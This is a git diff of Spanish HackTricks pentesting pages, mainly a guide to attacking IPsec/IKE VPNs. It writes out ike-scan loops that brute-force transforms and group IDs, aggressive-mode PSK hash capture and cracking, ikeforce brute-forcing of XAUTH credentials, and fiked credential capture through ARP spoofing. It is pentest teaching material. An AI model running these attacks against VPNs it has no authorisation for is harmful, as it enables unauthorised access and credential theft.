<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).

View File

@ -34,7 +34,7 @@ Se ejecuta junto con el tiempo de ejecución Objective-C. Los entornos de tiempo
El diagrama que se muestra a continuación representa esta arquitectura:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### ¿Qué es .Net Runtime y Mono Framework?

View File

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -56,7 +56,7 @@ Content-Length: 267
* `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).

View File

@ -1,16 +1,38 @@
# Información Básica
# 500/udp - Pentesting IPsec/IKE VPN
IPsec es la tecnología más comúnmente utilizada tanto para soluciones VPN empresariales de gateway a gateway (LAN a LAN) como de host a gateway (acceso remoto).
<details>
**IKE es un tipo de implementación de ISAKMP** (Protocolo de Gestión de Claves de Asociación de Seguridad de Internet), que es un marco para la autenticación y el intercambio de claves. IKE establece la asociación de seguridad (SA) entre dos puntos finales a través de un proceso de tres fases:
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **Fase 1:** Establece un canal seguro entre 2 puntos finales utilizando una clave precompartida (PSK) o certificados. Puede utilizar el modo principal (3 pares de mensajes) o el **modo agresivo**.
* **Fase 1.5:** Esto es opcional, se llama Fase de Autenticación Extendida y autentica al usuario que intenta conectarse (usuario+contraseña).
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (674).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Información básica
IPsec es la tecnología más comúnmente utilizada tanto para soluciones de VPN empresariales de puerta a puerta (LAN a LAN) como de host a puerta (acceso remoto).
**IKE es un tipo de implementación de ISAKMP** (Protocolo de Gestión de Claves de Asociación de Seguridad de Internet), que es un marco para la autenticación e intercambio de claves. IKE establece la asociación de seguridad (SA) entre dos puntos finales a través de un proceso de tres fases:
* **Fase 1:** Establecer un canal seguro entre 2 puntos finales utilizando una clave precompartida (PSK) o certificados. Puede utilizar el modo principal (3 pares de mensajes) o el modo **agresivo**.
* **Fase 1.5:** Esto es opcional, se llama Fase de Autenticación Extendida y autentica al usuario que está intentando conectarse (usuario+contraseña).
* **Fase 2:** Negocia el parámetro para la seguridad de los datos utilizando ESP y AH. Puede utilizar un algoritmo diferente al utilizado en la fase 1 (Secreto Directo Perfecto (PFS)).
**Puerto predeterminado:** 500/udp
# **Descubrir** el servicio utilizando nmap
## **Descubre** el servicio utilizando nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
@ -20,130 +42,131 @@ PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
# **Encontrar una transformación válida**
## **Encontrar una transformación válida**
La configuración de IPSec puede estar preparada para aceptar solo una o algunas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene un número de atributos como DES o 3DES como el algoritmo de **encriptación**, SHA o MD5 como el algoritmo de **integridad**, una clave precompartida como el tipo de **autenticación**, Diffie-Hellman 1 o 2 como el algoritmo de **distribución de claves** y 28800 segundos como el **tiempo de vida**.
Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor hable contigo. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal, y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones dentro de ella**.
Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor te responda. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete al gateway con un encabezado ISAKMP y una sola propuesta con **ocho transformaciones dentro**.
Dependiendo de la respuesta, puedes obtener información sobre el punto final:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Como se puede ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (y esto es realmente bueno para un pentester).\
Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que la VPN está configurada utilizando una clave precompartida (y esto es realmente bueno para un pentester).\
**El valor de la última línea también es muy importante:**
* _0 handshake devuelto; 0 notificación devuelta:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
* _**1 handshake devuelto; 0 notificación devuelta:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transformaciones que propusiste son aceptables** (se mostrará una transformación válida en la salida).
* _0 handshake devuelto; 1 notificación devuelta:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguna de las transformaciones es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
* _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
* _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transformaciones propuestas son aceptables** (se mostrará una transformación válida en la salida).
* _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguna de las transformaciones es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
Entonces, en este caso, ya tenemos una transformación válida, pero si se encuentra en el tercer caso, entonces es necesario **hacer un poco de fuerza bruta para encontrar una transformación válida:**
Entonces, en este caso ya tenemos una transformación válida, pero si te encuentras en el tercer caso, entonces necesitas **probar un poco para encontrar una transformación válida:**
En primer lugar, es necesario crear todas las transformaciones posibles:
En primer lugar, necesitas crear todas las posibles transformaciones:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
Y luego hacer fuerza bruta en cada uno usando ike-scan (esto puede tardar varios minutos):
Y luego realizar un ataque de fuerza bruta en cada uno utilizando ike-scan (esto puede llevar varios minutos):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin apretones de manos incluso a transformaciones válidas. Entonces, podrías intentar el mismo ataque de fuerza bruta pero usando el modo agresivo:
Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiendo sin realizar los saludos incluso para transformaciones válidas. En ese caso, podrías intentar el mismo ataque de fuerza bruta pero utilizando el modo agresivo:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Con suerte, **se devolverá una transformación válida**.\
Puede intentar **el mismo ataque** utilizando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
También podría intentar forzar las transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
Esperemos que **se devuelva una transformación válida**.\
Puedes intentar el **mismo ataque** utilizando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
En **DH Group: 14 = 2048-bit MODP** y **15 = 3072-bit**\
En **Grupo DH: 14 = 2048-bit MODP** y **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (en este caso). El formato --trans es $Enc,$Hash,$Auth,$DH**
Cisco recomienda evitar especialmente los grupos DH 1 y 2. Los autores del artículo describen cómo es probable que los estados nación puedan descifrar sesiones IPsec negociadas utilizando grupos débiles a través de la precomputación de log discreto. Los cientos de millones de dólares gastados en la precomputación se amortizan a través de la descifrado en tiempo real de cualquier sesión que utilice un grupo débil (de 1.024 bits o menos).
Cisco recomienda evitar especialmente los grupos DH 1 y 2. Los autores del artículo describen cómo es probable que los estados nacionales puedan descifrar sesiones IPsec negociadas utilizando grupos débiles a través de la precomputación de log discreto. Los cientos de millones de dólares gastados en la precomputación se amortizan a través del descifrado en tiempo real de cualquier sesión que utilice un grupo débil (de 1,024 bits o menos).
## Fingerprinting del servidor
### Fingerprinting del servidor
Luego, se puede usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducirla. Luego, **analiza** la **diferencia de tiempo** entre los mensajes recibidos del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la carga útil opcional **Vendor ID (VID) payload** con IKE.
Luego, puedes usar ike-scan para intentar **descubrir el proveedor** del dispositivo. La herramienta envía una propuesta inicial y deja de reproducirla. Luego, **analiza** la **diferencia de tiempo** entre los **mensajes** recibidos del servidor y el patrón de respuesta coincidente, el pentester puede identificar con éxito el proveedor de la puerta de enlace VPN. Además, algunos servidores VPN utilizarán la carga útil opcional **Vendor ID (VID)** con IKE.
**Especifique la transformación válida si es necesario** (usando --trans)
**Especifica la transformación válida si es necesario** (usando --trans)
Si IKE descubre quién es el proveedor, lo imprimirá:
Si IKE descubre cuál es el proveedor, lo imprimirá:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Esto también se puede lograr con el script de nmap _**ike-version**_
# Encontrando el ID correcto (nombre del grupo)
## Encontrar el ID correcto (nombre del grupo)
Para poder capturar el hash necesitas una transformación válida que soporte el modo Agresivo y el ID correcto (nombre del grupo). Probablemente no sepas el nombre del grupo válido, por lo que tendrás que hacer un ataque de fuerza bruta.\
Para hacerlo, te recomiendo 2 métodos:
Para poder capturar el hash, necesitas una transformación válida que admita el modo Aggressive y el ID correcto (nombre del grupo). Es probable que no conozcas el nombre del grupo válido, por lo que tendrás que realizar un ataque de fuerza bruta para encontrarlo.\
Para hacerlo, te recomendaría 2 métodos:
## Ataque de fuerza bruta del ID con ike-scan
### Ataque de fuerza bruta del ID con ike-scan
En primer lugar, intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"):
En primer lugar, intenta hacer una solicitud con un ID falso para intentar obtener el hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará de vuelta un hash falso para una ID falsa, por lo que este método no será confiable** para hacer fuerza bruta en la ID. Por ejemplo, se podría devolver un hash falso (esto sucede en versiones modernas):
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará un hash falso para una ID falsa, por lo que este método no será confiable** para realizar un ataque de fuerza bruta a la ID. Por ejemplo, se podría devolver un hash falso (esto ocurre en versiones modernas):
![](<../.gitbook/assets/image (110).png>)
Pero si, como he dicho, no se devuelve ningún hash, entonces deberías intentar hacer fuerza bruta en nombres de grupo comunes usando ike-scan.
Pero si, como he dicho, no se devuelve ningún hash, entonces debes intentar realizar un ataque de fuerza bruta a los nombres de grupo comunes utilizando ike-scan.
Este script **intentará hacer fuerza bruta en posibles IDs** y devolverá las IDs donde se devuelve un handshake válido (esto será un nombre de grupo válido).
Este script **intentará realizar un ataque de fuerza bruta a las posibles IDs** y devolverá las IDs donde se devuelva un handshake válido (esto será un nombre de grupo válido).
Si has descubierto una transformación específica, añádela al comando de ike-scan. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
Si has descubierto una transformación específica, añádela en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente).
Puedes usar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para hacer fuerza bruta en ellos:
Puedes utilizar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [el de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nombres de grupo comunes para realizar el ataque de fuerza bruta.
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
## Fuerza bruta de ID con Iker
O utiliza este diccionario (es una combinación de los otros 2 diccionarios sin repeticiones):
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para hacer fuerza bruta de posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
{% file src="../.gitbook/assets/vpnIDs.txt" %}
## Fuerza bruta de ID con ikeforce
### Fuerza bruta de ID con Iker
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **hacer fuerza bruta de IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para forzar posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
### Fuerza bruta de ID con ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede utilizar para **forzar IDs también**. Esta herramienta intentará **explotar diferentes vulnerabilidades** que podrían ser utilizadas para **distinguir entre un ID válido y uno no válido** (puede haber falsos positivos y falsos negativos, por eso prefiero usar el método de ike-scan si es posible).
Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para comprobar el comportamiento del servidor y determinar la táctica a utilizar.
* El **primer método** es hacer fuerza bruta de los nombres de grupo **buscando** la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información sólo es respondida por el servidor si el nombre de grupo es correcto).
* El **segundo método** disponible es **comprobar el número de respuestas enviadas a cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.
* El **primer método** consiste en forzar los nombres de grupo **buscando** la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre de grupo es correcto).
* El **segundo método** disponible es **comprobar el número de respuestas enviadas en cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.
* El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**.
* Finalmente, si el servidor no responde nada a las comprobaciones, **ikeforce** intentará forzar el servidor y comprobar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
Obviamente, el objetivo de la fuerza bruta del ID es obtener el **PSK** cuando se tiene un ID válido. Luego, con el **ID** y el **PSK**, tendrás que forzar el XAUTH (si está habilitado).
* Finalmente, si el servidor no responde nada a las comprobaciones, **ikeforce** intentará hacer fuerza bruta del servidor y comprobar si cuando se envía el ID correcto el servidor responde con algún paquete.\
Obviamente, el objetivo de hacer fuerza bruta del ID es obtener el **PSK** cuando se tiene un ID válido. Entonces, con el **ID** y el **PSK** tendrás que hacer fuerza bruta del XAUTH (si está habilitado).
Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
Si has descubierto una transformación específica, añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (debes probarlas todas hasta que una de ellas funcione correctamente).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -152,15 +175,15 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
## Sniffing ID
### Sniffing ID
También es posible obtener nombres de usuario válidos mediante el sniffing de la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la ID del cliente se envía en claro (según el libro **Network Security Assessment: Know Your Network**).
También es posible obtener nombres de usuario válidos al interceptar la conexión entre el cliente y el servidor VPN, ya que el primer paquete del modo agresivo que contiene el ID del cliente se envía en texto claro (del libro **Network Security Assessment: Know Your Network**)
![](<../.gitbook/assets/image (111).png>)
# Capturando y crackeando el hash
## Capturando y descifrando el hash
Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo**, y si se permite el **modo agresivo**, entonces puedes obtener fácilmente el hash crackeable:
Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si se permite el **modo agresivo**, entonces puedes obtener fácilmente el hash que se puede descifrar:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
@ -170,31 +193,31 @@ Puedes usar **psk-crack**, **john** (usando [**ikescan2john.py**](https://github
```bash
psk-crack -d <Wordlist_path> psk.txt
```
# **XAuth**
## **XAuth**
La mayoría de las implementaciones utilizan **modo agresivo IKE con PSK para realizar la autenticación de grupo**, y **XAUTH para proporcionar autenticación adicional de usuario** (a través de Microsoft Active Directory, RADIUS o similar). Dentro de **IKEv2**, **EAP reemplaza XAUTH** para autenticar a los usuarios.
La mayoría de las implementaciones utilizan **el modo agresivo IKE con una PSK para realizar la autenticación de grupo**, y **XAUTH para proporcionar autenticación adicional de usuarios** (a través de Microsoft Active Directory, RADIUS o similar). Dentro de **IKEv2**, **EAP reemplaza a XAUTH** para autenticar a los usuarios.
## MitM de red local para capturar credenciales
### MitM en la red local para capturar credenciales
Para capturar los datos del inicio de sesión se puede utilizar _fiked_ y ver si hay algún nombre de usuario predeterminado (es necesario redirigir el tráfico IKE a `fiked` para el sniffing, lo que se puede hacer con la ayuda de ARP spoofing, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final VPN y capturará las credenciales XAuth:
Para capturar los datos del inicio de sesión, puedes utilizar _fiked_ y ver si hay algún nombre de usuario predeterminado (Necesitas redirigir el tráfico IKE a `fiked` para el sniffing, lo cual se puede hacer con la ayuda de ARP spoofing, [más información](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked actuará como un punto final de VPN y capturará las credenciales de XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Además, utilizando IPSec, intenta realizar un ataque de MitM y bloquea todo el tráfico al puerto 500. Si el túnel IPSec no se puede establecer, tal vez el tráfico se envíe en claro.
Además, utilizando IPSec, intenta realizar un ataque de MitM y bloquea todo el tráfico al puerto 500. Si no se puede establecer el túnel IPSec, tal vez el tráfico se envíe sin cifrar.
## Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce
### Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce
Para realizar una fuerza bruta de **XAUTH** (cuando se conoce un nombre de grupo válido **id** y el **psk**), se puede utilizar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
Para realizar una fuerza bruta en el **XAUTH** (cuando conoces un nombre de grupo válido **id** y el **psk**), puedes utilizar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
De esta manera, ikeforce intentará conectarse utilizando cada combinación de usuario:contraseña.
De esta manera, ikeforce intentará conectarse utilizando cada combinación de nombre de usuario: contraseña.
Si encontraste una o varias transformaciones válidas, úsalas como en los pasos anteriores.
# Autenticación con una VPN IPSEC
## Autenticación con una VPN IPSEC
En Kali se utiliza **VPNC** para establecer túneles IPsec. Los **perfiles** deben estar ubicados en **_/etc/vpnc/_** y puedes utilizar la herramienta _**vpnc**_ para llamarlos.\
En Kali se utiliza **VPNC** para establecer túneles IPsec. Los **perfiles** deben ubicarse en _**/etc/vpnc/**_ y puedes usar la herramienta _**vpnc**_ para llamarlos.\
Ejemplo tomado del libro **Network Security Assessment 3rd Edition**:
```
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
@ -209,29 +232,30 @@ root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
```
# Material de Referencia
## Material de referencia
* [Artículo sobre cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
* [Documento de cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Escaneando una implementación de VPN](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
* [Escaneo de una implementación de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
# Shodan
## Shodan
* `port:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -12,9 +12,9 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -88,7 +88,7 @@ $ python3 ssh-audit <IP>
### Clave pública SSH del servidor
```plaintext
